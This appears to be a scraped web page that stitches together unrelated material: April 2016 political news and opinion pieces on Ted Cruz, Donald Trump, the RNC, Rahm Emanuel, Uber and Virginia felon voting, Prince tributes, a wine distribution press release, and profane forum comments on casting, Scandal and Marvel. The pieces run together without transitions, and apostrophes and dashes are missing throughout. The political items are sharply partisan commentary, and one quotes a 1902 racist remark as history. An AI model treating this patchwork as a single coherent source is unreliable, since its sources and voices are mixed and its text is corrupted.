The senator spent the rest of his day raising awareness about the imaginary child-molestation epidemic that North Carolinas bathroom law had brought to an end. Are there any parents of daughters here? Cruz asked supporters at a rally in Frederick, Maryland. Im the father of two little girls  Here is basic common sense: Grown adult men, strangers, should not be alone in a bathroom with little girls.

Expect to hear a lot more talk about grown men cornering little girls from the Texas senator in the coming weeks. As far as wedge issues in a GOP primary go, transgender bathroom access is a pretty good one to tack right on. According to a Reuters poll released Thursday, 64 percent of Republicans believe people should use public restrooms according to the biological sex on their birth certificate, while only 23 percent say people should select toilets according to the gender with which they identify.

Trump has been unable to disqualify himself in the eyes of the GOP electorate despite many valiant efforts. Alas, no amount of menstruation jokes, Muslim bans, incitement to violence, or penis boasts seemed to do the trick. Between now and the convention, Cruz will work to turn the Donalds outburst of empathy for transgendered folks into his one truly fatal gaffe.
Rahm Emanuel taking baby steps. Photo: Chip Somodevilla/2016 Getty Images

Chicago residents have been demanding Mayor Rahm Emanuels head since a video of Chicago police officers shooting and killing 17-year-old Laquan McDonald was released in December. In response to the controversy, Emanuel commissioned the Police Accountability Task Force to investigate his own police department, and earlier this month, the task force found that the Chicago Police Department was plagued by systemic racism and that people of color had good reason to mistrust police. Based on these findings, Emanuel has announced hell make some changes to the police department  but so far hes only planning to implement about one-third of the task forces recommendations.

According to the New York Times, Emanuel has immediate plans to facilitate community meetings in which Eddie Johnson, the new police superintendent, will discuss race, bias, and other issues with residents. Hell also increase crisis-intervention training for both officers and 911 dispatchers to better enable them to spot signs of mental illness and set up an early intervention system (complete with anonymous hotline) to identify officers who break rules.

Together, however, these changes only represent about 30 percent of the 76 specific recommendations the task force made to improve policing in Chicago. In particular, critics have been quick to point out that Emanuel has no plan in place to overhaul the departments Independent Police Review Authority, which is in charge of investigating police shootings and severe misconduct.

In its review, the task force found major flaws in the authority: Cases go uninvestigated, the agency lacks resources, and IPRAs findings raise troubling concerns about whether it is biased in favor of police officers, it wrote. Although city officials have said theyll consider options for structural reform and Emanuel wants to audit the IPRAs past findings, advocates are pushing for a truly independent civilian police-monitoring authority.

Emanuel told the Chicago Sun-Times that he doesnt want to make any hasty moves. If youre going to make changes, you dont want the Justice Department coming and saying, You got that wrong. Now, do it again, he said. Nothing can be worse than trying to do this twice.
RNC chairman Reince Priebus argued against the rule change. Photo: Alex Wong/Getty Images

The Republican National Committee on Thursday shot down a proposal to change the rules of the partys July convention in such a way as to make it harder for party leaders to muscle through a nominee more to their liking than Donald Trump or Texas senator Ted Cruz.

The proposal, sponsored by Oregon committeeman Robert Yue, would have recommended that the party scrap the convention rules it has followed for decades, which are based on the rules of the House of Representatives, and replace them with Roberts Rules of Order  a style of parliamentary procedure meant to facilitate decision-making as a group, according to Politico. Adopting Roberts Rules would give less power to the conventions presiding officer  House Speaker Paul Ryan  and more independent authority to the delegates themselves, as any delegate with an objection would have to be formally recognized by Ryan.

Yue advocated for the rule change out of fear that under the existing rules, Ryan could direct delegates to vote for a white knight nominee who didnt actually compete in the primaries. At a testy meeting on Thursday, several of his peers on the RNCs Rules Committee countered that to make a transparently self-serving rule change this late in the primary season would be, in the words of Georgia committeeman Randy Evans, viewed with a very large degree of cynicism.

RNC chairman Reince Priebus came out against the idea last week, earning him the ire of Yue, who accused the RNC of institutional tyranny for trying to impede his proposal.

If this development makes it harder for the GOP to nominate a white knight, it also may put the kibosh on any chance of nominating Ohio governor John Kasich, the rules committees special counsel, James Bopp, told the Washington Times.

Ironically, if Roberts Rules of Order had been passed, the nominations could have been reopened by a mere majority to allow Kasich to be nominated after the balloting had begun, he said. This apparently closes the door on any chance that Kasich ever had to be nominated at the convention. In other words, thanks to its refusal to accept the rule change, its increasingly likely the RNC will be forced to nominate either Trump or Cruz.
Vote Trump or Die. Photo: Mark Makela/Getty Images

Donald Trump is taking his act mainstream. Since his landslide victory in New York, the GOP front-runner has gone from spurring outrage at his partys crooked Establishment to assuring that same Establishment he can play by its rules. On Thursday, Trumps chief strategist Paul Manafort told the RNC, The part that hes been playing is evolving into the part that now youve been expecting  The image is going to change.

To help with the rebrand, Trump has hired his first speechwriter and promised to start using teleprompters to keep himself on message. The mogul told NBCs Today on Thursday, Its easier for me to be presidential than for me to be doing what Ive been doing  I will be so presidential, you will be so bored. You will say, Cant he have a little more energy? He gave the morning shows audience a taste of the kinder, gentler Donald when he came out against North Carolinas transphobic bathroom bill.

Before his triumph in the Empire State, Trump tried to preempt a coup in Cleveland by subtly threatening unfriendly delegates. Last month on CNN, Trump predicted (or promised) riots if he were rejected at a convention. His longtime ally Roger Stone was more direct, pledging to release the hotel-room number of any delegate who defies the Donalds will. After Trump was shut out at Colorados state convention, he spent a full week working his supporters into a frenzy over the rigged system that was trying to disenfranchise them. Now that Trump has taken upwards of 89 delegates from New York  and is expected to notch a string of landslide victories in upcoming northeastern states  the mogul has decided to take a good cop approach: Instead of scaring the Establishment into acquiescence, hes trying to quell their fears of his unelectability. Once the unpredictable madman, he now plays the obedient puppet. The onetime George Wallace impersonator is getting in touch with his inner Rockefeller Republican.

Not all of his supporters got the memo.

Following Trumps comments about the Rocky Mountain States rigged nominating contest, the chairman of the Colorado GOP, Steve House, has received more than 4,000 threatening phone calls from Trump superfans, according to Politico. One of these callers suggested that he hide his family members and pray you make it to Cleveland. Another reportedly asked the party official to put a gun down his own throat.

He said, Ill call back in two minutes and if youre still there, Ill come over and help you, House told Politico.

At the RNCs quarterly meetings in Florida, party officials traded stories of Trump-inspired death threats. A Trump supporter recently got in my face and threatened bloodshed at the national convention and said he would meet me at the barricades if Trump isnt the nominee, one party chair, who wished to remain anonymous, told Politico. Several other GOP delegates reported similar threats.

These stories highlight a central challenge to Trumps rebranding: If you spend ten months campaigning as a pseudo-fascist demagogue, many of your supporters are gonna be actual fascists.

Some members of the Keystone Alliance, an "all-white club" at Donald Trump's Harrisburg rally pic.twitter.com/ZAjy2yImOv  Ben Schreckinger (@SchreckReports) April 22, 2016

Trump can stop encouraging his supporters to attack dissenters in their midst. But he cant stop them from acting on the violent ideas that he already placed in their heads. You can take the paranoid rage out of Trumps messaging, but you cant take the enraged paranoiacs out of his coalition.
Who you gonna trust? Me or my lying eyes? Photo: Spencer Platt/Getty Images

The Republican Establishment has spent millions of dollars trying to convince GOP voters that Donald Trump is a con man. Now, with the nomination nearly secured, Trump is trying to convince those party pooh-bahs they were right.

The front-runners top aides met with members of the Republican National Committee on Thursday and assured them that Trump doesnt mean most of the things he says.

When hes out on the stage, when hes talking about the kinds of things hes talking about on the stump, hes projecting an image thats for that purpose, Trumps chief strategist Paul Manafort told the RNC in Hollywood, Florida, according to the Associated Press. Youll start to see more depth of the person, the real person. Youll see a real different guy.

The part that hes been playing is evolving into the part that now youve been expecting, Manafort added. The image is going to change.

Right now, Trumps image is akin to a photograph of roadkill  appealing enough for a niche audience, but rather off-putting to everyone else. Polls consistently show that more than 60 percent of Americans view the Donald unfavorably; among women, the figure is closer to 70 percent. Those numbers have inspired the RNC to create a separate fund-raising entity for the falls Senate races  a move that allows donors to give without worrying that their hard-earned capital gains will go toward propping up a doomed presidential candidate.

But following his resounding victory in New York, Trump announced a series of campaign changes, all aimed at mainstreaming his unconventional candidacy. For most of the primary race, Trumps stump speeches have been improvised rants. The sheer quantity of gaffes Trump has produced can be attributed, in part, to this method: Put any 69-year-old white man in front of a microphone, instruct him to speak extemporaneously for 90 minutes, every day, often on little sleep, and youll probably hear a few wild things. But now, ten months into his campaign, Trump has actually hired a speechwriter. He also plans to start using teleprompters, and to give a foreign-policy address at the Center for the National Interest.

On Thursday, Trumps team asked the RNC to measure their candidates electability by his improbable success in the primary, not by those unreliable general-election polls. The Donald is a performer who knows his audience. When the audience changes, so will he. And when he does, his unique charisma and policy platform will expand the Republican map, forcing Democrats to defend places like New Jersey and Illinois.

Youre going to see this map expand, Trumps political director, Rick Wiley, told the party leaders, according to the Washington Post. I think by the time this is over, youre going to see a path to 270 [electoral votes] that looks more like George H.W. Bushs map than George W. Bushs map.

Manafort argued that Trumps negatives would prove to be less firm than those of his likely Democratic opponent. If current polling holds up, the general election will be a contest between the two least popular non-incumbent presidential candidates in recorded history. But while Hillary Clintons negatives come from character issues, the Donalds derive merely from problems of personality, Team Trump contends.

Fixing personality negatives is a lot easier than fixing character negatives, Manafort told the RNC. You cant change somebodys character, but you can change the way a person presents himself.

Trump doesnt have a problematic character; he just likes adopting false personalities to manipulate people into doing his will. Now, please, help him raise money.
Uber has a complicated relationship with its drivers. Photo: Geoffroy Van Der Hasselt/AFP/Getty Images

Uber has agreed to settle two class-action lawsuits brought by its California and Massachusetts drivers over the ride-sharing giants labor practices to the tune of up to $100 million, the New York Times reports.

Under the terms of the agreement, the 385,000 drivers represented in the cases will receive $84 million up-front and an additional $16 million pending a successful initial public offering by the company. Uber also agreed to change its driver-deactivation policies so drivers dont get dropped from the app without good cause and can more easily appeal their deactivation.



Shannon Liss-Riordan, the attorney representing the drivers, issued a statement framing the settlement as a victory, saying that it stands as a stern warning to companies who play fast and loose with classifying their workforce as independent contractors.

Drivers were seeking a court ruling forcing Uber to reclassify them as employees rather than independent contractors, which would require the company to provide them with certain protections contractors dont enjoy. Ubers willingness to pay such a large sum to settle this case indicates how badly it wants to prevent drivers from being reclassified, which it argues would be fatal to its business model.

In her statement, Liss-Riordan pointed out that the settlement doesnt prevent the drivers from being reclassified by the courts or U.S. labor authorities. The company is in litigation over drivers classification in several other states, but the Massachusetts and California suits are the largest in terms of the number of plaintiffs.

Ubers settlement, which still requires a judges approval, doesnt so much as settle the issue as forestall a definitive ruling on the relationship between employers and employees in the so-called demand economy.
Governor Terry McAuliffe. Photo: Mark Gormus/Richmond Times-Dispatch via AP

Virginia first prohibited felons from voting shortly after emancipating its slaves. It expanded that restriction into a lifetime ban for anyone convicted of a felony in 1902. After the latter policy was passed, in a package that included poll taxes and literacy tests, one state senator wrote:

This plan will eliminate the darkey as a political factor in this State in less than five years, so that in no single county of the Commonwealth will there be the least concern felt for the complete supremacy of the white race in the affairs of government.

Virginia governor Terry McAuliffe invoked this history on Friday, when he announced an executive order restoring voting rights to all ex-felons in the state who have served their prison time and finished parole or probation.

I have long struggled with the question of whether Virginia can fully address Lincolns call for a government by the people, of the people, and for the people, when we cut out so many people from full citizenship, McAuliffe told reporters from the steps of the state capitol. This is the essence of democracy. Any effort to erode it dilutes it for all of us. So I believe it is time to cast off Virginias troubled history and restore the rights of these men and women.

The order will enfranchise more than 200,000 Virginians, the vast majority of them people of color.

Virginia had been one of four states  including Kentucky, Florida, and Iowa  with lifetime voting bans for all ex-felons. In 38 other states, ex-felons automatically recover voting rights upon the completion of their sentences. In Maine and Vermont, felons never lose the franchise, even while in prison.

Virginias Republican Party denounced McAuliffes order as political opportunism and a transparent effort to win votes. The charge isnt wholly unreasonable. The newly enfranchised voters will be disproportionately African-American, and African-Americans vote disproportionately for Democrats. According to the Upshots back-of-the-envelope math, the order could increase the Democratic share of Virginias vote by a half-point this November.

On the other hand, the ban on ex-felon voting was itself enacted for political reasons. Perhaps, McAuliffes motives are impure. (He is a longtime ally of Hillary Clinton). But if the repeal of voting restrictions  that were explicitly designed to defend white supremacy  is inopportune for your party, well, you deserve to suffer that disadvantage.
In 1993, Prince frustrated contract lawyers and computer users everywhere when he changed his name to glyph known as The Love Symbol. Though he never said so explicitly, its generally understood that the name change was attempt to stick it to his record label, Warner Bros., which now had to deal with a top-tier artist with a new, unpronounceable, untypeable name. But it wasnt just Warner Bros. that had a problem: The Love Symbol proved frustrating for people who wanted to both speak and write about Prince. Writers, editors, and layout designers at magazines and newspapers wouldnt be able to type the actual name of the Artist Formerly Known As Prince. So Prince did the only thing you could do in that situation: He had a custom-designed font distributed to news outlets on a floppy disk.

Heres the floppy disk, from the collection of Anil Dash, whos written about it here:

Added to my collection: 3.5" floppy given to press when Prince changed his name. Contains a font w/ one symbol in it. pic.twitter.com/mNL0eOHDGI   (@anildash) June 23, 2014

The Prince font substituted his symbol for what would otherwise be a capital P. In addition, the font was also made available for download on CompuServe. It was accompanied by a stern letter featuring both usage and installation instructions. (Graphix Zone, the company on the letterhead, released an interactive CD-ROM called Prince Interactive that same year.)

For those asking, Prince font floppy is just a fun artifact; contents were on his CD-ROM & Compuserve 20 years ago. pic.twitter.com/Mnzrvo64wQ   (@anildash) June 23, 2014

The font idea, according to Chuck Hermes, who worked on the Paisley Park graphic-design team, came out of internal frustration. It just seemed like a logical thing to do, Hermes told me over the phone today. Everybody was having a hard time. He didnt even want us to be calling him Prince in person. Part of it was, there was this glyph, this symbol that we didnt know how to pronounce, and he wasnt giving us any clues.

So we had to start communicating, we were just writing the symbol freehand, he said. It started out as we just did it for ourselves. We needed some way to be efficiently communicating with this name that we couldnt type on a keyboard.

Steve Parke, who worked with Prince at the time, helped mail out the floppy disks. He basically wanted people to start using that for his name in journalism, Parke recalled, and  I gotta be honest with you  I was like, huh. I just remember when started I looking at those things I was like, Really? I wonder how thats gonna play out.

It worked out pretty well. I just remember maybe six months later, Parke noted, looking through Rolling Stone one time and seeing that symbol and Im like, Wow, thats pretty impressive. After all, could any other artist convince a major music publication to integrate a custom font?

How many people can just say Hey, Im changing my name to this symbol so can you use it from now on? and everyones like Alright. Okay. No questions asked. Youre Prince! Well do it! It was kind of funny to me.

The move, catering to emerging technology in media, stands in contrast to Princes current reputation as a streaming-skeptical luddite and prolific issuer of takedown notices for his music on YouTube.

I think he was very forward-thinking, Parke remembered. I think what happened a lot of time for him  not to be funny  he had an idea and the truth of the matter is the technology wasnt quite there for what he wanted.

Hermes said that Prince, in the early 90s, was excited by consumer technology. I was working there and was kind of the first one to introduce him to bulletin-board systems and very early America Online back then. He was really engaged in all of this. We would spend hours every night. Hed come in and out of the studio and come into our offices just to experiment with graphics and Photoshop and all that software. Unsurprisingly, Prince was thrilled at the possibility of being able to create art at such a rapid clip.

But there were parts of the computer revolution that were still foreign to him. At least, until they were put in Princes own terms. I was talking about chat groups and chatting and meeting people online and he seemed confused by it, Hermes reminisced. Until I had told him I had met a girl. And thats when he was able to go Oh, I get it! I see where this could be useful.
And no more catalogs. Photo: Victorias Secret

Heres something that will devastate women and men everywhere: This is the last summer to buy a Victorias Secret swimsuit, or to flip through a Victorias Secret catalogue.

After the company vaguely announced earlier this month that it would cut certain merchandise categories, BuzzFeed News reported that by the end of this year Victorias Secret swimwear will no longer be sold in stores or online. Instead, in stores youll see VS Sport activewear.

Where will an entire nation of college girls get cheap spring-break bikinis now? In the Pink section, next to the bubblegum-pink sweats. Earlier this month in a release, the company announced it will cut 200 jobs and focus on the three brands Pink (where you can still buy bikinis), Victorias Secret Lingerie, and Victorias Secret Beauty. A male Citi analyst called the elimination of the catalogue every guys worst nightmare.

Victorias Secret swimwear made the company about $500 million last year (about 6.5 percent of all Victorias Secret sales). But last August the company reported lower swimwear sales, apparently because they missed fashion trends and designed overly complex swimsuits. Maybe like this one?
Spike Lee. Photo by Jason Merritt/Getty Images

Spike Lee brought the Fort Greene neighborhood of Brooklyn together for an evening dedicated to Prince, after announcing a party on his Instagram earlier Thursday. We will dance, sing and shout to his music, he promised. All were invited, the only dress code: purple.

More Brooklyn  for Prince pic.twitter.com/S2HUlN66Ae  Rebecca Ramsey (@RebeccaRams) April 22, 2016

Hundreds of fans congregated around his offices at 40 Acres and a Mule Filmworks. But it felt more like an intimate sing-along, as the crowd swayed and danced to such favorites as Little Red Corvette, I Wanna Be Your Lover, and If I Was Your Girlfriend.

A purple-clad Spike Lee (left) lights up the night with his cell phone. Photo: Rebecca Ramsey

Lee stood atop a door stoop, clad in a purple T-shirt, leading the crowd in an encore of Purple Rain. Everybody was asked to get their phones and arms up, and to chant along to the final cries of the song.

Strangers danced, hugged, and cried as they all celebrated his Purpleness. As the event wrapped, Princes music could still be heard resounding from surrounding cars and apartments.
Photo: Michael Ochs Archives/Getty Images

I could tell you about how Prince warped my little adolescent mind when I Wanna Be Your Lover came out. (Who was this guy in a trench coat, thigh-highs, and G-string telling me, I wanna be your mother and your sister, too ?) Or I could share the story about seeing Prince at a midnight show at Roseland Ballroom where he performed a version of Purple Rain so long and hot and psychedelic, the walls seemed to melt. But Id rather tell you about the time two strippers at San Franciscos grubby Market Street Cinema nearly came to blows over his song Sexy Motherfucker.

When Princes Love Symbol album came out, if you were a stripper, you couldnt escape the bomping beat of Cream or the vulgar majesty of Sexy Motherfucker. At Market Street, youd hear either song about four times a night  and God forbid a dancer tried to use these songs on the same shift as another girl who had proclaimed them hers. One Irish girl threatened to stub out her cigarette in the face of a dancer after shed taken the Sexy MF CD out of its case to give to the manager. Another dancer was so invested in Cream that shed take to the stage with a can of  you guessed it  whipped cream, and spray it all over herself, only to be sort of stumped as to how to get it off as her next song began.

I dont know what Prince thought of strippers, but I do know that strippers loved Prince. He was strip-club history. And what mattered was the music. His songs, for decades, have been sex-industry staples  whether on a strip-club playlist or in pop-culture iconography. Remember Julia Roberts in Pretty Woman singing in the bubble bath in Richard Geres Beverly Hills hotel room? Shes listening to Princes Kiss on her Walkman. Of course she is. (In the original script, shes listening to Elvis Costello.)

I remember when I, a lowly 19-year-old peep-show girl with no dancing experience, visited a Las Vegas strip club. You had to be 21 to dance in Vegas, so the girls seemed impossibly old and experienced. One dancer  a skinny, super-tan girl with a frosted updo and a frilly white minidress  was dancing, slowly and expertly, to Darling Nikki. At the raunchy guitar grind that punctuates the first verse, she stood stock-still in the middle of the stage, rotated her rib cage just so, and, right along with the guitar note sliding up, her top dropped down. I still cant figure out how she did it, and I still think of her and that bonkers move whenever I hear that song.

The pansexual allure of Prince made a mockery of the Kinsey Scale. Back in the day, when it was still something of a scandal to be an out sex worker in the lesbian scene, even in the progressive Bay Area, the women affiliated with the BayBrick and Amelias bars, and the lesbian erotica magazine On Our Backs started BurLEZk  the first queer girl strip show. A beautiful Latina named Pepper, who worked at one of the clubs in the Tenderloin, became a BurLEZk superstar by crushing all eight minutes of Do Me Baby, offering women the same ecstatic eyeful that men have been enjoying forever. Meanwhile, in a room full of straight boys at the classiest club in town, my stage partner Phoenix  who probably hadnt kissed a boy since middle school  would put on a Gentlemen Prefer Blondes hot-pink Marilyn Monroestyle gown and elbow-length hot-pink-satin gloves and kill Scandalous. There was another girl at the same club, identified as hetero, who did impeccable gender-bending Purple Rainera Prince drag  which might have confused some of the customers, but (I can attest) delighted many more. And the boundary-warping magic extended offstage. A dancer could be straight as six oclock, but the right girl dancing to the right song might inspire her to jump the fence, if only that one time. Chances are the soundtrack to that seduction was by Prince.

On a practical level, Prince was, literally, invaluable. His huge catalogue of danceable songs helped create a lot of stripper wealth  first as a thrilling new thing that got the boys grooving in their seats, then as a feel-good nostalgia trip. He even offered short cuts: If you wanted to get your stage set over with so you could get back into the audience and make money doing table dances, Got a Broken Heart Again, barely over two minutes long, was an exquisite choice.

Prince was a master of creating sexual dramatis personae  something strippers see as not just necessary for professional survival, but fun, as well. Regarding Prince, and his many permutations, we knew we were all working the same racket, only he with more talent and prestige (and, lets face it, male privilege). He was nasty but reverent, meditative but playful, and profoundly, astonishingly physical but romantic and heartfelt to the very last chord.

When it came to erotic lyricism, he went deeper, came up sweatier, and managed to elevate base sexuality into something ethereal. He knew what we knew: That sex was sacred, and it didnt have to be denatured or defunkified to be pure. Shot through with religiosity, Jesus was never far away in Princes lyrics. Raw was holy. Listen up, he told us, the dirty is the divine.

Prince always felt like one of us  at first, he was regarded as a talented deviant who was just telling dirty stories, but he turned out to be telling the truth. Thats where the sacred bond between nasty girls and Prince came in: In his retelling, we werent degraded, we were raised up, divine beings, one and all, part of Gods great family. We didnt have to cover up to be seen as we really were. Eternal siblings in spirit, we belong to Prince, and Prince belongs to us. Forever and ever, amen.
Copestick Murray bolsters portfolio with leading Chilean winery

Copestick Murray has added wines from Chilean producer Aresti to its portfolio and believes it can help the firm become a major player in the UK market.

Aresti Chile Wine (ACW) is a family-owned winery that was founded in 1951 by Vicente Aresti and his father-in-law Alfredo Lope.

It owns three global brands  Aresti, Espiritu de Chile and Montemar  that are sold today in more than 40 countries, with an annual turnover of 14 million.

The Aresti brand itself is distributed by Eurowines Limited in the UK, but ACW has partnered with Copestick Murray to achieve bigger overall distribution, in both the on and off trade, and to increase the brand awareness among UK consumers, sommeliers and retailers.

Robin Copestick, managing director of Copestick Murray, said: We have been looking for a good Chilean partner for many years. ACW are a perfect fit for us.

They have good brands, good volumes, excellent quality and also a flexible attitude to the requirements of the UK.

Their commercial team has great experience and is motivated to make this work, their winemaking team is first class and they have some real imagination in their marketing department.

Eurowines has done a great job of distributing the Aresti brand and I look forward to working with them to consolidate this important area of the market.

However ACW has great potential outside of their own flagship brand. This is where Copestick Murray can help ACW become a major player in the UK market.

Copestick Murray currently sells around 3 million bottles of Chilean wine per year but with this new partnership I am looking to increase this figure exponentially over the next few years. It is a very exciting agreement and we cannot wait to get going.

Matias Rivera, managing director at ACW, added: During the last years we have been implementing a lot of changes in the company in order to achieve important distribution and also realise greater sales volumes. This new partnership is aligned with our plans in the UK, to become a more important player in one of the most important markets for the Chilean wines.

Related articles:
Ok Jadis thanks for the update.

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lol mess. sounds like all those people who said that there was no evidence that the characters in avatar were asian or that they were in an asian society even though all the clothes, architecture, writing, and stuff like chopsticks made it super obvious.

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B-B-BUT THEY HAVE BLUE EYES!!!!11

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Also "But they have big eyes!"

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lmao like the people who think anime characters living in japan with japanese names are white

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What I hated was that they sourced the word Avatar and meaning from Hinduism and then didn't even include Indians or anything else Hindu in the show. They kept it pretty much strictly east asian.

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So is a new character that have the same name and appearance?

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oh for fuck's sake

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yikes

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i'm all for giving women more roles in these sausagefest superhero movies but would it have been so hard to cast an asian woman



really

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right? like dichen lachman could do it and just explain away her appearance on s.h.i.e.l.d. like tilda is explaining away her character's race

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I would have been more surprised if something ... not like this was said tbh

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totally. when i read this i was like yeah that sounds about right.

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especially because she's said fucked up shit before

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Ugh, I know. I stopped standing here long time ago.

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did you know it's not an asian character?

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okay sis

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K. Sure. I guess we should all wait and pay to see the movie and then realize that she is spouting bullshit. Makes sense.



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just like with khan in into darkness.

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Yaaaaaaaas.

And the funniest thing about that is Khan is usually a Muslim surname (of Pathan origin) and the character was called Khan Noonien Singh, with Singh being a mostly Sikh surname, because its not enough that he be white-washed, he should also be of two different faiths.

Hollywood not only whitewashes everything but also manages to prove it is borderline illiterate.



MESS.

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whether you're casting a white person to play a character of color, or rewriting a character of color to be white, its still unacceptable.



different flavor, still whitewashing

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mte, this doesn't make it any better

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Right "i'm not playing an asian character, i'm playing a white being that has transcended race of an asian role"

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exactly

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she'll probably try to say that she's never real the source material so she didn't know. i'd actually believe that she hasn't read the comics (a lot of actors read the books their movies are based on but not all) but still, i don't believe that she wouldn't do any research at all about the source material and her character. especially since tilda is actually a really good actress who seems to take her work seriously, so i would be really surprised if she didn't at least do a google/wikipedia search to get a better idea of her character.

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also like when she saw the costume/set that should've given her a hint lol

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mte

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its gender washing lol

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Glad we got that cleared up!

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him and I have the same personality type (ISFP)

same with Britney



I woke up late af today and was so sad when I read about his death on ontd earlier

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Yeah a lot of famous musicians have that personality type.



It's also mine! (Not that anyone cares)

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still cant believe it...

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What is the point of this last tweet?

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idk every time i think of the Empire State Building i think of either the Rockefeller tree or them dragging Liam so \_()_/

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lol

wait why did they use not-amurican spelling though



Edited at 2016-04-22 06:42 am (UTC)

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Apparently the Empire State Building didn't go purple.

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Wait what did Liam Payne do? ...who is Liam Payne?



I love that the US is all purple.

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Liam Payne is/was? a member of One Direction. He tweeted that the security at the Empire State Building needed to have and I quote... "manors" and the building dragged him.

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Buildings have to stick up for each other.

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I have it when my buildings don't have entire manor houses in them. Gawd.



Good on them for dragging him. AND for honouring Prince like this.

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Who is Liam Payne is killing me.

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I think San Francisco did it as well

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He had fans all around the world. I think the Eiffel Tower in Paris was lit in purple.

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"Dearly beloved, we are gathered here today to get through this thing called life"...#RIPPrince pic.twitter.com/22t56HtBuk  City of SanFrancisco (@sfgov) April 22, 2016

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damn that's a great pic

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this looks amazing

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I missed this leaving work

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oh, wow, i love that shade. it lights the building up so nicely.

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This is art

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Excuse my ignorance, but what building is this? And are those giant, light-up rabbits in the front of it?

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San Francisco's City Hall. And yes those are giant light up inflatable bunnies. It's part of the Amanda Parer's art installation that's happening right now.

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beautimous <3 and the bunnTies striking curious poses <3

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I still can't believe it. :(

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That's amazing <3

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I knew he was pretty big but not that big, even my grandma called me to tell me the news of his death and she rarely cares about american celebrities. I always thought of him as a less famous Michael Jackson and I see I was wrong.

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Between 1982-1999 he was pretty massive/considered a rival of MJ's. MJ appealed to all ages and had of course been around longer but he, MJ, and Madonna were all pretty much equals/contemporaries for the vast majority of the past 30 years.

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ia, but i still think mj is/was way more famous than Prince? i mean, i'm from Chile, and when mj died there was news coverage about his death like for a week, whereas with Prince, there was some minor coverage about his death. Same with Bowie tho :/

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these are really cool. people on ontd need to stop being so ott about death though lol

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no

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people in the other post were crying. like.... lmao

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you wanna police every aspect of this death, don't you? ppl aren't mad enough he was homophobic, ppl are too mad he's homophobic, and ppl are now too sad about his death?



why don't you crawl back into your nicki minaj defense posts and let ppl feel how they wanna feel?

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Why are you so offended that other people care about a musician's death? He was iconic. People related to his music. Stop presuming you can control how other people feel just because you apparently don't understand grief.

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I still can't believe it. Prince was supposed to live till the end of time and never age.



Also, y'all please help me remember the name of the song for the music video that was shot in black & white with the woman dancing beside him, the gifs used to be posted here all the time.

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Black Sweat

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Thank you!

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black sweat

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Very cool....people work fast lol

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That was my first thought!!!

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it's kinda scary how young he died...it keeps hitting me how death can come at anytime ): #rip

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seriously...he was only 2 years older than my parents...way too fucking young :(

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mte he's around the same age as my parents :/

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he's the same age as my mom - the minute i found out about his death i called my mom to say sorry (havent talked to her in a week due to (my) rage issues lol).



Gone too soon, sweet prince.

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he's a year younger than my dad and the same age as my mom

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I'm surprised they made liv and jake an actual thing and not a side piece.

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I'm so checked out on this show now. I still play it in the background, but this episode felt so weird to me. He was always in love with her, but she's never been fully on board since it came out that HE WAS STALKING HER.



It sucks that the men in this show are so brutal. Like Jake is likely my top choice and he was a stalker. I'm trying to cruise above the murderers and the abuses before I get to stalking.

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Lol the accuracy of this comment. I feel the same way. I have it on the background now. I don't even care anymore. And i feel the same way with jake. Have to look past all the shit men to somehow accept jake in her life but still... I just want a nice normal man for her. The garbage men in her life is getting exhausting

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real talk tho? Why ruin a perfectly nice, normal guy by bringing Liv's world of bullshit into his life?

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Liv doesn't want, need or deserve a nice normal man.

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i missed mellie but this was a good episode. i tend to enjoy the episodes that explore the characters past.



that being said, i feel like there's no way jake wouldn't see through olivia's speech. he might think those things are true, but surely he knows liv wouldn't say all that to his face, unprompted, without something else going on. maybe since they were all his insecurities, it was messing with his common sense but still. but the looks at rowan during the wedding, maybe he does know

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Exactly how I felt. It seemed really obvious that she was kind of full of shit.

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Right? He knows papa pope is a nut, theres no way he took that serious

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It was a good episode but fuck...poor Jake...what a shitty life since he was a kid. I'm going to pretend he knew that Olivia was lying and threatened by Rowan because all of that shit she told him was just evil :(

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my heart broke for both of them. she said what he thought was true and it kill me to see him just take it when he should of knew it was an act to save him.

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I stopped the episode midway through. I just don't care about Jake.

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my mum just won't quit this show, so i have to download it for her every week. i hate it. they always seem to yell at one another on here? and fitz seems like the worst. ontd needs to lmk when mellie is president so i can finally watch this properly.

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ONTD is so boring at this time of the night.

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They gave us a woe is me back story on stalker Jake?  Just stop Shonda. You woobify all your white boys.

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I liked learning about Jake's background but overall the episode was stupid. He should be able to see right through Liv and that Rowan made her do that. However, not matter how many times Liv does that shit to Jake, it still makes me sad to see his dumbass puppy dog face

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I really like Jake and olake but this ep was so off to me. First off Rowan screaming all that stuff about his father and sister to Jake was sooooo horrible, I feel like we should have got a trigger warning for that.



Also all this stuff with Papa Pope calling Jake his son and Liv being his daughter is really, really creepy when they have a sexual relationship.



I wish instead of giving us creepy Jake flashbacks they had focused entirely on the present and shown more of the struggle that Liv and Jake felt for each other living in the same house and her trying to outmaneuver him because it went by super quickly and it went from her being like "Mwhahaha I can trick him" to her being like "Oh nooooo I have to break up with him."



And a part of me wishes he had just said "Fuck it" and publicly dumped his fiance anyway. He obviously knew something was going on.

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Everything about this comment is perfect

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lol people been complaining forever bout Olivia, but i for one welcome my prada wearing chair wielding dark queen



when she told abby to take a seat last ep i was like YESSSSSS tell ginger snap to sort her fuckin roots out

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Snaps to me for dropping out before this season started.



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I'm on season 3, so I just wanted to come in and say I'm glad that it looks like Mellie's hair game has improved drastically.

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While I felt bad for Jake, he and Liv where never going to be together. Olivia don't want to be with no man long term. She likes doing her own thing with short love affairs with different dudes from time to time. Why can't she just go with that instead of trying to turn these men into husbands...



And how can Jake even be considered for VP? His past is so murky it's just dirt. Papa Pope can't make everything go away

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lbr Edison won't be President. Shonda just wants drama between Jake and Olivia.

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Boring episode... hope the next one is better.

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I get that we needed exposition & backstory but this episode was boring without Mellie/Susan/basically all the other women. Ita w/ the other poster who said that all the men in this show are horrible people.



Actually, so few of the characters have redeeming qualities that it's hard to watch a troupe of antiheroes without getting weary of all of them and the weird yell-y pregnant-mid-sentence-pause speech pattern they have going on this show.

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Actually, so few of the characters have redeeming qualities that it's hard to watch a troupe of antiheroes without getting weary of all of them and the weird yell-y pregnant-mid-sentence-pause speech pattern they have going on this show.



THIS to infinity !!!



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Bellamy Young looks great.

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Marvel really needs to stop riding RDJ's dick.

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Nope. Don't you use baby wipes for this.

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Lolll

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Don't worry they will as soon as he stops earning them literal billions.

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ia

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i volunteer to take their place

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No I love Ironman, he's free to keep getting that $$$$$ imo

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he's definitely the wolverine of the MCU. deservedly lauded character, but way overexposed because they're a big draw/trotted out by the studio at the expense of telling better stories with other characters.

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Agreed on all accounts.

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I just hate that 90% of Iron Man scenes seem like the closeup of his face in the suit and I find that really off putting for whatever reason lol

